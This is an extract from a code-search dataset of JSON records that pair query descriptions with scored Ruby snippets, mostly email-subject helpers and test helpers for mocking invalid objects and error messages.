"text": "def community_member_email(sender, recipient, email_subject, email_content, community)\n @email_type = \"email_from_admins\"\n set_up_urls(recipient, community, @email_type)\n with_locale(recipient.locale, community.locales.map(&:to_sym), community.id) do\n @email_content = email_content\n @no_recipient_name = true\n premailer_mail(:to => recipient.confirmed_notification_emails_to,\n :from => community_specific_sender_with_alias(community, \"Rentog Services\"),\n :subject => email_subject,\n :reply_to => \"\\\"#{sender.name(community)}\\\"<#{sender.confirmed_notification_email_to}>\")\n end\n end",
"title": ""
},
{
"docid": "0fa56be84c0a8c0710dcc8f6cd82ea6e",
"score": "0.59197766",
"text": "def subject\n ::Registeruz::Subject.find(@subject_id)\n end",
"title": ""
},
{
"docid": "ab155e65d0a7fb6e58826542bee8d360",
"score": "0.59047824",
"text": "def auto_reply_subject(enquiry)\n I18n.t('integral.contact_mailer.auto_reply.subject', reference: enquiry.reference)\n end",
"title": ""
},
{
"docid": "c14d27c2cd6a2119b115cff14268ed66",
"score": "0.5881585",
"text": "def subject\n @attributes[:subject]\n end",
"title": ""
},
{
"docid": "c14d27c2cd6a2119b115cff14268ed66",
"score": "0.5881585",
"text": "def subject\n @attributes[:subject]\n end",
"title": ""
},
{
"docid": "c14d27c2cd6a2119b115cff14268ed66",
"score": "0.5881585",
"text": "def subject\n @attributes[:subject]\n end",
"title": ""
},
{
"docid": "13f33ebdb3e9b2ed264fd5a729836792",
"score": "0.5863983",
"text": "def translation_scope\n \"mailers.#{mailer_name.tr(\"/\", \".\").sub(\"_mailer\", \"\")}.#{action_name}\"\n end",
"title": ""
},
{
"docid": "65bafbadcc362252cc5918e2fcf1c3b7",
"score": "0.58607924",
"text": "def route_email(topic)\n recipient_email = if topic == t('blacklight.feedback.form.topic.options.membership.option')\n CONTACT_EMAILS['dc_admin']\n elsif topic == t('blacklight.feedback.form.topic.options.research.option')\n CONTACT_EMAILS['research_question']\n end\n recipient_email || super\n end",
"title": ""
},
{
"docid": "cf2a25634b64117bc458dafa8c7f8602",
"score": "0.5851055",
"text": "def subject=(s)\n self.cached_alert_group = nil\n attribute_set(:subject, s)\n end",
"title": ""
},
{
"docid": "de234bc160d6b9ea980e7d1cfb28d1e4",
"score": "0.5848499",
"text": "def subject\n SMail::MIME.decode_field(subject_raw)\n end",
"title": ""
},
{
"docid": "3540487396ebe3438c733f6a4bba5b91",
"score": "0.5847244",
"text": "def subject_name\n nil unless @subject\n subject_class.name\n end",
"title": ""
},
{
"docid": "d9d0a041b381d1a8f3701883a1622687",
"score": "0.58428156",
"text": "def subject_for_reply\n subject =~ REGARD_RE ? subject : \"Re: #{subject}\"\n end",
"title": ""
},
{
"docid": "f4f7fbf7a6c1b9a18070b243febadd82",
"score": "0.58399194",
"text": "def subject\n @message.split(/$/).first\n end",
"title": ""
},
{
"docid": "f4f7fbf7a6c1b9a18070b243febadd82",
"score": "0.58399194",
"text": "def subject\n @message.split(/$/).first\n end",
"title": ""
},
{
"docid": "adab5fbcef94747391c4ce52e337047e",
"score": "0.58387685",
"text": "def subject=(subject)\n set_content_for :subject, subject\n end",
"title": ""
},
{
"docid": "82c4a3a5fa9f50e99b7021c53cbaf977",
"score": "0.58359045",
"text": "def new_mail_args(subj)\n { from: from_user.email, body: 'hello',\n subject: \"#{subj} #{to_user.email}\", to: 'hello@hello.com' }\n end",
"title": ""
},
{
"docid": "00b6a5821d086aac53df53d687eee6bd",
"score": "0.5831516",
"text": "def subject=(subject)\n Cproton.pn_message_set_subject(@impl, subject)\n end",
"title": ""
},
{
"docid": "917cbe14183cf342539eabdfc66fca4c",
"score": "0.5827232",
"text": "def subject\n @header[:subject]\n end",
"title": ""
},
{
"docid": "7bb4b80f05e03a4de990ff76ad338061",
"score": "0.58259904",
"text": "def invitation_subject\n if self.travel_type == 'forward'\n \"Timejust invitation for travel to #{self.event.title} on #{I18n.l(self.departure_time, :format => :date)}\"\n else\n \"Timejust invitation for travel from #{self.event.title} on #{I18n.l(self.departure_time, :format => :date)}\"\n end\n end",
"title": ""
},
{
"docid": "01135c890b85dbc9c9f897f87df4fe98",
"score": "0.5818804",
"text": "def subject=(s)\n raise ArgumentError, \"subject must be a String, or respond to to_s\" unless s.is_a?(String) or s.respond_to?(\"to_s\")\n\n @alert.subject = s\n end",
"title": ""
},
{
"docid": "d7702d3009c5fbeb7c0ccbba6ee0a076",
"score": "0.5816268",
"text": "def mailer_t(key, options = {})\n t(\n \".#{key}\",\n **options,\n default: t(key, **options, scope: [:mailers])\n )\n end",
"title": ""
},
{
"docid": "d3fe97d40a71821834b836df97a93c27",
"score": "0.5814635",
"text": "def test_set_subject\n email = SendgridRuby::Email.new\n\n email.set_subject(\"Test Subject\")\n assert_equal(\"Test Subject\", email.get_subject)\n end",
"title": ""
},
{
"docid": "6427ec8e71d712ad7ec5452db3e52455",
"score": "0.5805626",
"text": "def mail_to_subscriber(email)\n begin\n @lang = Helper.getLang\n @setting = Setting.where(lang: @lang, id: 1, deleted_at: nil).select(:email, :address, :phone_dn).first\n mail(to: email, subject: '[ANS Asia] BrSE School - ' + t('mail_title_thanks_for_subscribing'))\n rescue\n end\n end",
"title": ""
},
{
"docid": "6878d37f22ad2148cc944a89743c0f15",
"score": "0.5795073",
"text": "def set_title\n @title = t(:message_1, :scope => [:controller, :students])\n end",
"title": ""
},
{
"docid": "cb3903bb72c279531d812f561910449a",
"score": "0.57930076",
"text": "def email_changed(record, opts = {})\n opts[:subject] = \"#{default_title}: #{t(:email_changed)}\"\n super\n end",
"title": ""
},
{
"docid": "dfa4ecb662f4081560f4e222e22056ef",
"score": "0.5786028",
"text": "def define_subject(subject)\n if subject =~ /^Re: /\n subject\n else\n \"Re: #{subject}\"\n end\n end",
"title": ""
},
{
"docid": "e348d2b0f840713fcdb5b5266cc54aef",
"score": "0.5785491",
"text": "def default_mail_headers(reason, subject, to = @guest, from = nil)\n {\n to: to.email,\n from: \"#{from ? from.title : subject.title} <support@hackathon.io>\",\n subject: \"Your invitation to #{reason} #{subject.title}\"\n }\n end",
"title": ""
},
{
"docid": "7082b5eb6e0469a6df00f9fed38dba50",
"score": "0.5783363",
"text": "def contact_email message, name\n @name = name\n @message = message\n @subject = t \"mail.contact.subject\", name: @name\n\n mail from: \"Integração IME Contato <contato@integracaoime.com.br>\",\n to: User.admins.map{ |u| u.email },\n subject: @subject\n end",
"title": ""
},
{
"docid": "841564f1f89e07cf2e1518a028750681",
"score": "0.5780515",
"text": "def check_subject(subject)\n subject.blank? ? \"(No Subject)\" : subject\n end",
"title": ""
},
{
"docid": "79c4a42d5ae41a1908ad22f8edf441f8",
"score": "0.57803875",
"text": "def subject=(subject)\n @subject = subject\n super\n end",
"title": ""
},
{
"docid": "592a4cdad3b2f1f9377bb8994ad24ca8",
"score": "0.57795054",
"text": "def default_subject_prefix\n @default_subject_prefix || \"[VALIDATION ERROR]\"\n end",
"title": ""
},
{
"docid": "6a26cb28e002fcdcabff93f31a7d3216",
"score": "0.57776886",
"text": "def subject=(subject)\n @content[pn(:Subject)] = pl(subject)\n end",
"title": ""
},
{
"docid": "ded5f3114341171b0db13cf6649f8ffb",
"score": "0.57622904",
"text": "def full_subject\r\n return related_to if subject.blank?\r\n \"#{related_to}: #{subject}\"\r\n end",
"title": ""
},
{
"docid": "d8decc4e6f01660c7e8f4bb726fe5ad1",
"score": "0.57622623",
"text": "def set_subject(s)\n self.subject = s\n self\n end",
"title": ""
},
{
"docid": "80d5fa595480d12757a2c519884f7b3f",
"score": "0.57572836",
"text": "def subject\n first_element_text('subject')\n end",
"title": ""
},
{
"docid": "2b0decb074fe87eb6851f249be929646",
"score": "0.57525146",
"text": "def subject_title\n self.title || self.project_doc_id || self.to_id\n end",
"title": ""
},
{
"docid": "e29ade8bd04e3d7caf310c9e87210acf",
"score": "0.57505196",
"text": "def headers\n {\n :subject => %(#{name} wants to collaborate),\n :to => \"heather.allaman@gmail.com\",\n :from => %(\"#{name}\" <#{email}>)\n }\n end",
"title": ""
},
{
"docid": "04d66d37c2ce274a1ec268fbe6d36c6e",
"score": "0.5740894",
"text": "def set_default_subject\n self.subject = self.default_subject\n end",
"title": ""
},
{
"docid": "6ad1a73bec50d93f9e811c4b41de806a",
"score": "0.57387763",
"text": "def find_custom_subject(action)\n if action =~ /confirmation/\n Intmail.find_by_id(2).title\n elsif action =~ /password/\n Intmail.find_by_id(3).title\n else\n translate(devise_mapping, action)\n end\n end",
"title": ""
},
{
"docid": "1117fdba834d3a1af2cdb19084b1bec2",
"score": "0.5723485",
"text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"title": ""
},
{
"docid": "1117fdba834d3a1af2cdb19084b1bec2",
"score": "0.5722459",
"text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"title": ""
},
{
"docid": "1117fdba834d3a1af2cdb19084b1bec2",
"score": "0.5722459",
"text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"title": ""
}
] |
bf553f0e54f4cd20fd39cdfb7dc0a04e | Mocks an invalid object with given error messages | [
{
"docid": "94cfa97cec11e5457a1d94e3945461c6",
"score": "0.7457593",
"text": "def invalid_spy(messages = \"invalid\")\n object = spy\n error = InvalidError.new(object, messages)\n allow(object).to receive(:validate!) { fail error }\n allow(object).to receive(:validate) { Report.new(object, error) }\n\n object\n end",
"title": ""
}
] | [
{
"docid": "c332becbce3cbe72c6cff020e1ddd278",
"score": "0.6734263",
"text": "def invalid(object, message)\n @failures << {\n :object => object,\n :message => message\n }\n end",
"title": ""
},
{
"docid": "61648763f1341b3c8668836cce55c9e0",
"score": "0.65511596",
"text": "def assertInstanceOfWithMessageInvalidTest klass, object, message\n assertRaiseKindOf TypeError, message do\n assertInstanceOf klass, object, message\n end\n end",
"title": ""
},
{
"docid": "4aa32f07d41669e559f9e7eeea25a9c0",
"score": "0.64838564",
"text": "def assert_invalid object, item\n assert object.invalid?\n assert object.errors[item.to_sym].any?\n end",
"title": ""
},
{
"docid": "e3282275054e1a097c5ef5882d1c3236",
"score": "0.6293589",
"text": "def assertInstanceOfWithMessageFailTest klass, object, message\n rescue_assertion /#{ASSERT_INSTANCE_OF_ERROR}/, message do\n assertInstanceOf klass, object, message\n end\n end",
"title": ""
},
{
"docid": "021282d93c273187d37ad9dadbc3a8a0",
"score": "0.6171692",
"text": "def assertKindOfWithMessageInvalidTest klass, object, message\n assertRaiseKindOf TypeError, message do\n assertKindOf klass, object, message\n end\n end",
"title": ""
},
{
"docid": "5236d54bd6bb9017aba842099343046f",
"score": "0.6154456",
"text": "def assertInstanceOfInvalidTest klass, object\n assertRaiseKindOf TypeError do\n assertInstanceOf klass, object\n end\n end",
"title": ""
},
{
"docid": "2fa0fc2745618302d630252ed725cf33",
"score": "0.6091331",
"text": "def assert_not_valid(object, msg=\"Object is valid when it should be invalid\")\n assert(!object.valid?, msg)\n end",
"title": ""
},
{
"docid": "2d6a3dc3f3cb584936d3f44e9f8dd04d",
"score": "0.60782707",
"text": "def assert_not_valid(object, msg=\"Object is valid when it should be invalid\")\n assert(!object.valid?, msg)\n end",
"title": ""
},
{
"docid": "f4cc56f0b3566e692d92d3ab09f11d6f",
"score": "0.60672414",
"text": "def fail_with_message(error, message); end",
"title": ""
},
{
"docid": "e3cc3962f39721f778ead9e697e29660",
"score": "0.6035391",
"text": "def mysteriously_invalid_active_record\n errors = instance_double(ActiveModel::Errors)\n allow(errors).to receive(:keys).and_return([])\n allow(errors).to receive(:details).and_return({})\n allow(errors).to receive(:full_messages).and_return([])\n allow(errors).to receive(:full_messages_for).and_return([])\n\n record_class = double(\"MyRecordClass\")\n allow(record_class).to receive(:i18n_scope).and_return(:activerecord)\n record = double(\"MyRecord\", class: record_class, errors: errors, id: 1234)\n\n allow(record).to receive(:save!).and_raise(ActiveRecord::RecordInvalid.new(record))\n record\n end",
"title": ""
},
{
"docid": "471ceeb980d5dbddc17be722aa5eab9e",
"score": "0.59792346",
"text": "def assertInstanceOfFailTest klass, object\n rescue_assertion /#{ASSERT_INSTANCE_OF_ERROR}/ do\n assertInstanceOf klass, object\n end\n end",
"title": ""
},
{
"docid": "92ba3a1f42b4fe044add4b1069e92b1a",
"score": "0.5974188",
"text": "def make_mock_model_errors_for(mock, location)\n result = mock.flexmock_container.flexmock(\"errors\")\n make_default_behavior(result, location, :count, 0)\n make_default_behavior(result, location, :full_messages, [])\n result\n end",
"title": ""
},
{
"docid": "928892b035d8741332903b69ec50d8e3",
"score": "0.5926906",
"text": "def assert_model_creation_failure model_name='', object_parameters={}\n model_creation model_name, object_parameters, 0\n end",
"title": ""
},
{
"docid": "181d519e6e1347f69ce70a0854e76b2d",
"score": "0.59156334",
"text": "def deny_with(status, *error_messages)\n Api.stub(:permitted?).\n and_return(double(:status => status, \n :body => {'_api_error' => error_messages}))\nend",
"title": ""
},
{
"docid": "b1df1a1e84e29aa7e1ae9002ab94b1e8",
"score": "0.58662826",
"text": "def assertKindOfInvalidTest klass, object\n assertRaiseKindOf TypeError do\n assertKindOf klass, object\n end\n end",
"title": ""
},
{
"docid": "310754416909d0c896dbe2e32fb79906",
"score": "0.5864403",
"text": "def test_invalid_politic_value\n politic_obj = Politic.new(:name => 'Liberty Party > Free Soil Party')\n assert !politic_obj.valid?\n assert politic_obj.errors.invalid?(:name)\n end",
"title": ""
},
{
"docid": "fd4a931f416255014e99a57c8624f575",
"score": "0.58615625",
"text": "def test_add_user_with_invalid_name\r\n user = User.new\r\n assert !user.valid?\r\n assert user.errors.invalid?(:name)\r\n #assert user.errors.invalid?(:password)\r\n end",
"title": ""
},
{
"docid": "ea0063a3d34e4f9da53cc2df45fe42b1",
"score": "0.58556",
"text": "def mock_error_model\n mock = MiniTest::Mock.new\n mock.expect :ancestors, [ActiveRecord::Base]\n mock.expect :blank?, false\n mock\nend",
"title": ""
},
{
"docid": "4afc2821e5b90aad8daf50282ef291c5",
"score": "0.5828791",
"text": "def test_invalid_occupation_value\n occupation_obj = Occupation.new(:name => 'Writer > Soldier')\n assert !occupation_obj.valid?\n assert occupation_obj.errors.invalid?(:name)\n end",
"title": ""
},
{
"docid": "5c89214814557aeb8ce19157fb69afd9",
"score": "0.580437",
"text": "def assert_valid object, message = nil\n # Rails 3.0 have error_messages, Rails > 3.0 have errors.messages\n error_messages = if ENV['RAILS_VERSION'] == '3.0'\n object.errors.full_messages\n else\n object.errors.messages\n end\n \n assert object.valid?, [message, \"expected to be valid, got #{error_messages}\"].compact.join(': ')\n end",
"title": ""
},
{
"docid": "3e6e7d240ce4e85833cfa564fc3b15e8",
"score": "0.5780303",
"text": "def assert_format_fails(klass, prop, fail)\n klass.delete_all\n assert_difference \"#{klass.name}.count\" do\n invite = create_instance\n end\n klass.delete_all\n assert_no_difference \"#{klass.name}.count\" do\n invite = create_instance(prop=>fail)\n assert invite.errors.on(prop)\n end\n end",
"title": ""
},
{
"docid": "d68755c4fc830b1690a7c3ea99cdb5e1",
"score": "0.5773713",
"text": "def stub_response(code)\n exception = ::Twilio::REST::RequestError.new('foo', code)\n allow_any_instance_of(Twilio::REST::Messages).to receive(:create).and_raise(exception)\n end",
"title": ""
},
{
"docid": "df090044f9b3843522acb153ce73f437",
"score": "0.57714844",
"text": "def assert_bad_value(object_or_klass, attribute, value,\n error_message_to_expect = default_error_message(:invalid))\n object = get_instance_of(object_or_klass)\n object.send(\"#{attribute}=\", value)\n object.valid?\n\n it \"should not allow #{value.inspect} as a value for #{attribute}\" do\n object.should_not be_valid\n end\n it \"should have errors on #{attribute} after being set to #{value.inspect}\" do\n object.errors.on(attribute).should_not be_nil\n end\n\n it_should_contain(object.errors.on(attribute), error_message_to_expect, \"when set to #{value.inspect}\")\n end",
"title": ""
},
{
"docid": "a7ceaca8b70cef76252d7724be181641",
"score": "0.57637346",
"text": "def test_failing_create\n book = Book.new\n assert_equal false, book.save\n \n assert_equal 7, book.errors.size\n assert book.errors.on(:title)\n assert book.errors.on(:publisher)\n assert book.errors.on(:authors)\n assert book.errors.on(:published_at)\n assert book.errors.on(:isbn)\n assert book.errors.on(:page_count)\n assert book.errors.on(:price)\nend",
"title": ""
},
{
"docid": "f054f04b15597bf10773f1682fb50939",
"score": "0.5758489",
"text": "def test_that_exceptions_are_easy_to_raise\r\n assert_raises(XfOOrth::XfOOrthError) { error('Failure IS an option!') }\r\n end",
"title": ""
},
{
"docid": "0de10192365d3034dec6269048e133ff",
"score": "0.5754791",
"text": "def test_invalid_with_empty_attributes\r\n referal_provider = ReferalProvider.new\r\n assert !referal_provider.valid?, referal_provider.errors.full_messages\r\n assert referal_provider.errors.invalid?(:first_name)\r\n assert referal_provider.errors.invalid?(:last_name)\r\n assert referal_provider.errors.invalid?(:npi)\r\n assert referal_provider.errors.invalid?(:taxonomy)\r\n end",
"title": ""
},
{
"docid": "10d9ae5c4f0ab7037e99d5a95d4da747",
"score": "0.57340276",
"text": "def expected_json_errors(msg)\n expect(last_response.body).to eql(msg)\n expect(last_response.status).to eq 422 \n end",
"title": ""
},
{
"docid": "7663a34adb7c702aef290eb8e3ab435b",
"score": "0.5725703",
"text": "def assertKindOfWithMessageFailTest klass, object, message\n rescue_assertion /#{ASSERT_KIND_OF_ERROR}/, message do\n assertKindOf klass, object, message\n end\n end",
"title": ""
},
{
"docid": "ac8d60f9698e0ca54350d69ae68a3cf6",
"score": "0.5716011",
"text": "def test_error_message_true\n currency1 = Currency.new(\"USD\", 1.50)\n currency2 = Currency.new(\"AUD\", 1.50)\n sum = currency1 + currency2\n assert_raise_with_message(sum, \"DifferentCurrencyCodeError\") do\n raise \"DifferentCurrencyCodeError\"\n end\n end",
"title": ""
},
{
"docid": "31047aae893bc1a9f6c5cde164675c8c",
"score": "0.57155335",
"text": "def mock_undetermined_vehicle_compliance\n allow(ComplianceCheckerApi).to receive(:vehicle_compliance)\n .and_raise(BaseApi::Error422Exception.new(422, '', {}))\n end",
"title": ""
},
{
"docid": "7ad43e50c46cf2d7dd08bb599f66f37f",
"score": "0.5706209",
"text": "def test_invalid_with_empty_attributes\n document = Document.new\n assert !document.valid?, document.errors.full_messages\n assert document.errors.invalid?(:patient_id)\n assert document.errors.invalid?(:name)\n end",
"title": ""
},
{
"docid": "c12b931662156079c4cb04672aedb6d8",
"score": "0.5701567",
"text": "def test_fail_create \n assert_raises Exception do \n donor=TestDonor.new({:person=>\"john\"})\n end\n end",
"title": ""
},
{
"docid": "c7ccb4e9c3ae93b9b80555718a955f18",
"score": "0.57005095",
"text": "def test_initialize_exception\n assert_raise(RuntimeError) {PosRational.new(5,0)}\n assert_raise(RuntimeError) {PosRational.new(-3,2)}\n end",
"title": ""
},
{
"docid": "d3d1f4d773b203d7284431d20116d04a",
"score": "0.5699273",
"text": "def assert_valid options, error_message = \"\"\n error_message << \"Must specify a :method_name. \" unless method_name\n error_message << \"Must specify either a :type or :object. \" unless (target_type or target_object)\n error_message << \"Can't specify both a :type or :object. \" if (target_type and target_object)\n bad_attributes(error_message, options) if error_message.length > 0\n end",
"title": ""
},
{
"docid": "d3d1f4d773b203d7284431d20116d04a",
"score": "0.5699273",
"text": "def assert_valid options, error_message = \"\"\n error_message << \"Must specify a :method_name. \" unless method_name\n error_message << \"Must specify either a :type or :object. \" unless (target_type or target_object)\n error_message << \"Can't specify both a :type or :object. \" if (target_type and target_object)\n bad_attributes(error_message, options) if error_message.length > 0\n end",
"title": ""
},
{
"docid": "b45abc32db1d6b12966036aefef696db",
"score": "0.5690712",
"text": "def ensure_valid(obj)\n return obj if obj.nil? || obj.is_a?(Message)\n\n error \"invalid object <#{obj}>, expected Message or nil\"\n\n nil\n end",
"title": ""
},
{
"docid": "b45abc32db1d6b12966036aefef696db",
"score": "0.5690712",
"text": "def ensure_valid(obj)\n return obj if obj.nil? || obj.is_a?(Message)\n\n error \"invalid object <#{obj}>, expected Message or nil\"\n\n nil\n end",
"title": ""
},
{
"docid": "e53a81bbb9ed6f3dc795b359998878e9",
"score": "0.5684064",
"text": "def test_generate_message_invalid_with_default_message\n assert_equal 'is invalid', @topic.errors.generate_message(:title, :invalid, :value => 'title')\n end",
"title": ""
},
{
"docid": "5c2d25af7883083354e7a0ca323285e3",
"score": "0.56624657",
"text": "def error_with(obj, status_code = nil)\n if obj.is_a?(Integer)\n status_code = obj\n end\n\n case status_code\n when 401\n error!({ message: \"Authentication failed\" }, 401)\n when 404\n error!({ message: \"#{obj} does not exist\" }, 404)\n when 422\n error!({ message: obj.errors.full_messages }, 422)\n end\n\n end",
"title": ""
},
{
"docid": "1ebfff9b8ebbeacd3cd2fa24a166946e",
"score": "0.5661167",
"text": "def assert_decoding_fail(options)\n error = nil\n begin\n assert_decoding(options.merge(expecting_fail: true))\n rescue Sms::DecodingError\n error = $!\n end\n\n # ensure error of appropriate type was raised\n expect(error).not_to be_nil, \"No error was raised\"\n\n # ensure error params are correct\n expect(error.type).to eq(options[:error])\n expect(error.params[:rank]).to eq(options[:rank]) if options[:rank]\n expect(error.params[:value]).to eq(options[:value]) if options[:value]\n end",
"title": ""
},
{
"docid": "45213bd497f0ef62b478989a8fe5ceb8",
"score": "0.5651033",
"text": "def test_init_bad_name_input\n assert_raises 'Error: name input argument in Location' do\n location = Location.new(2, 1, 2)\n end\n end",
"title": ""
},
{
"docid": "d2ebfb8db3489f22597ff6cdeb28ea8b",
"score": "0.5649563",
"text": "def test_invalid_with_empty_attributes\n carrier = Carrier.new\n assert !carrier.valid?, carrier.errors.full_messages\n assert carrier.errors.invalid?(:name)\n assert carrier.errors.invalid?(:address)\n assert carrier.errors.invalid?(:city)\n assert carrier.errors.invalid?(:state)\n assert carrier.errors.invalid?(:zipcode)\n end",
"title": ""
},
{
"docid": "2604406bf05311b3626d3a37fdc567b0",
"score": "0.5648434",
"text": "def errors_for(object, message=nil, now=false)\n messages(:error, now) << message if message\n messages_for(object, :error, nil, now)\n end",
"title": ""
},
{
"docid": "bbc09dfe448395205ca84a5f714525e9",
"score": "0.5645741",
"text": "def test_generate_message_invalid_with_default_message\n assert_equal \"is invalid\", @topic.errors.generate_message(:title, :invalid, value: \"title\")\n end",
"title": ""
},
{
"docid": "06b4e0b28041d7fd1a60b96727230f88",
"score": "0.5633419",
"text": "def it_should_be_valid(obj)\n it \"should be value\" do\n if !obj.valid?\n raise \"Errors: #{pretty_error_messages obj}\"\n end\n end\n end",
"title": ""
},
{
"docid": "e579cfc650f250b350d60ffca2e838ec",
"score": "0.56326467",
"text": "def assert_valid(obj)\n assert obj.valid?, \"Errors: #{pretty_error_messages obj}\"\n end",
"title": ""
},
{
"docid": "e1257cb654b3178173275a7802f9d9ff",
"score": "0.56312025",
"text": "def expected_json_errors(msg)\n expect(last_response.body).to eql(msg)\n expect(last_response.status).to eq 422\n end",
"title": ""
},
{
"docid": "de31096445e744c9c1a42dc2273f7fba",
"score": "0.5614491",
"text": "def test_invalid_with_empty_attributes\r\n doctor = Doctor.new\r\n assert !doctor.valid?, doctor.errors.full_messages\r\n assert doctor.errors.invalid?(:npi)\r\n assert doctor.errors.invalid?(:ssn)\r\n end",
"title": ""
},
{
"docid": "806f67a7015dc08a20ce9c817907a0dc",
"score": "0.5613875",
"text": "def mock_error_type\n Google::Apis::Error\n end",
"title": ""
},
{
"docid": "998bb423228c0ec847c5060917748b9c",
"score": "0.56123596",
"text": "def test_input_invalid \n\t\tassert_raises \"rand is invalid\" do \n\t\t\ttest = Run.new(\"Foo\", 42)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "00c02afeea2f8849740825384426dfc1",
"score": "0.5611144",
"text": "def errors_for obj\n obj.send(\"error_messages\", :message => nil)\n end",
"title": ""
},
{
"docid": "48c43cf640311a306f2af59f18764173",
"score": "0.5608152",
"text": "def assert_invalidos(objeto, invalidos)\n\t\tinvalidos.each do |invalido|\n\t\t\t\tassert objeto.errors.invalid?(invalido), \"parametro: #{invalido}\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "bad8a748e86fd04007aa027246034d35",
"score": "0.55982643",
"text": "def expect_decoding_fail(form, options)\n error = nil\n begin\n expect_decoding(form, options.merge(expecting_fail: true))\n rescue Sms::Decoder::DecodingError\n error = $ERROR_INFO\n end\n\n # ensure error of appropriate type was raised\n expect(error).not_to be_nil, \"No error was raised\"\n\n # ensure error params are correct\n expect(error.type).to eq(options[:error])\n expect(error.params[:rank]).to eq(options[:rank]) if options[:rank]\n expect(error.params[:value]).to eq(options[:value]) if options[:value]\n end",
"title": ""
},
{
"docid": "07b328337d7d413b6b3f78dec12fda48",
"score": "0.5597754",
"text": "def test_execute_error\n runner = ProcessRunnerStub.new('some command')\n runner.error = \"[MOCK ERROR]\"\n\n user = UserStub.new(runner)\n assert user\n \n# user.execute('')\n end",
"title": ""
},
{
"docid": "0cb898cc1129c62b6e219b8def27f4d5",
"score": "0.5593742",
"text": "def test_init_bad_max_real_input\n assert_raises 'Error: max_real input argument in Location' do\n location = Location.new('init_location_3', 'one', 2)\n end\n end",
"title": ""
},
{
"docid": "cf7da4938320c92655d8098bd6255ee7",
"score": "0.55925834",
"text": "def test_invalid_nationality_value\n nationality_obj = Nationality.new(:name => 'American > United States')\n assert !nationality_obj.valid?\n assert nationality_obj.errors.invalid?(:name)\n end",
"title": ""
},
{
"docid": "a1adc386e63f0a6c1cd549a90e392c9b",
"score": "0.5587322",
"text": "def test_constructor\n\n endpoint = SmsCountryApi::Endpoint.new(\"abcdefghijkl\", \"xyzzy\")\n refute_nil endpoint, \"Endpoint was not successfully created.\"\n obj = SmsCountryApi::SMS.new(endpoint)\n refute_nil obj, \"SMS object was not successfully created.\"\n assert_kind_of SmsCountryApi::SMS, obj, \"SMS object isn't the right type.\"\n\n assert_raises ArgumentError do\n obj = SmsCountryApi::SMS.new(nil)\n end\n\n assert_raises ArgumentError do\n obj = SmsCountryApi::SMS.new(\"Non-endpoint\")\n end\n\n end",
"title": ""
},
{
"docid": "7de4608efdc8835496b1e98786ccb2f9",
"score": "0.5583152",
"text": "def testInvalidField\n assert_raises( TicketSearch::InvalidSearchQueryError ) do \n # 'z' is not a valid search field\n TicketSearch.new( \"z=blah\" )\n end\n end",
"title": ""
},
{
"docid": "9702654a191161dc3fd0a9045b95bbee",
"score": "0.5577721",
"text": "def assert_error_on(model_object, field, expected_error_message=nil)\r\n assert !model_object.valid?, \"expected the model object to not be valid\" # Generate errors.\r\n unless expected_error_message.blank?\r\n actual_error_messages = Array(model_object.errors.on(field))\r\n assert actual_error_messages.include?(expected_error_message), \"expected validation error message to include '#{expected_error_message}', contains '#{actual_error_messages.inspect}'\"\r\n else\r\n assert !model_object.errors.on(field).blank?, \"expected error on #{field} attribute, but none was found\"\r\n end\r\n end",
"title": ""
},
{
"docid": "ac6679bd13184e8d53bdf94e306ab39f",
"score": "0.55751693",
"text": "def test_rejecting_invalid_arguments\n flunk 'Not implemented yet!'\n end",
"title": ""
},
{
"docid": "0e678e0754f04f8006e7555747f48f3a",
"score": "0.55684924",
"text": "def test_foorth_embed_error\r\n obj = Object.new\r\n assert_raises(XfOOrth::XfOOrthError) { obj.foorth_embed }\r\n end",
"title": ""
},
{
"docid": "17bf091c8bb08bd1f5337b6887d3fba9",
"score": "0.5566593",
"text": "def is_invalid\n expect { described_class.(account).to_s }.to raise_error(ArgumentError)\n end",
"title": ""
},
{
"docid": "2481db96c2e320c4e7b839a341f0ed34",
"score": "0.5559847",
"text": "def test_validates_numericality_of_generates_message\r\n Topic.validates_numericality_of :title\r\n @topic.title = 'a'\r\n @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => nil})\r\n @topic.valid?\r\n end",
"title": ""
},
{
"docid": "e8be004311df7bada536cc1fb558dac6",
"score": "0.555769",
"text": "def assert_error_messages(options)\n assert_highlights(options[:highlights]) unless options[:highlights].nil?\n\n unless options[:flash].nil?\n assert_flash(type: 'danger', expected: options[:flash])\n end\n\n unless options[:explanations].nil?\n assert_explanations(options[:explanations])\n end\n end",
"title": ""
},
{
"docid": "f7484828a2a0ec449bb36271e4227324",
"score": "0.55558366",
"text": "def test_invalid_saying\n assert_raise ArgumentError do\n @tester.saying(source: 'Ewoks')\n end\n end",
"title": ""
},
{
"docid": "f7484828a2a0ec449bb36271e4227324",
"score": "0.55558366",
"text": "def test_invalid_saying\n assert_raise ArgumentError do\n @tester.saying(source: 'Ewoks')\n end\n end",
"title": ""
},
{
"docid": "150e98f6fe5f4b4f0c6bc3b662f01780",
"score": "0.5542709",
"text": "def failure_message\n message = \"expected #{@actual.inspect} to be constructible\"\n\n if @failing_method_reasons.key?(:does_not_respond_to_new)\n message << \", but #{@actual.inspect} does not respond to ::new\"\n elsif @failing_method_reasons.key?(:unable_to_create_instance)\n message << \", but was unable to allocate an instance of #{@actual.inspect} with ::allocate or ::new\"\n elsif @failing_method_reasons.key?(:constructor_is_not_a_method)\n message <<\n \", but was unable to reflect on constructor because :initialize is not a method on #{@actual.inspect}\"\n else\n errors = @failing_method_reasons\n\n # TODO: Replace this with \", but received arguments did not match \"\\\n # \" method signature:\"\n message << \" with arguments:\\n\" << format_errors(errors)\n end # if-elsif-else\n\n message\n end",
"title": ""
},
{
"docid": "8f25f58c0470d19321aadd411ececaf1",
"score": "0.5542226",
"text": "def error(message); end",
"title": ""
},
{
"docid": "c3530cd938cca2c4585327517986c90f",
"score": "0.5536469",
"text": "def test_nothing_entered_in_date_field_gives_error\n assert_equal(\" was not found\",\n ExchangeRate::Error.new('').to_s)\n end",
"title": ""
},
{
"docid": "45486bea1a7cb384f3cde27dc6e643dd",
"score": "0.5532672",
"text": "def have_jsonapi_error(expected_properties)\n HaveJsonApiErrorMatcher.new(expected_properties)\n end",
"title": ""
},
{
"docid": "161e5b5f6766a1d89fa5871345db9b33",
"score": "0.55296385",
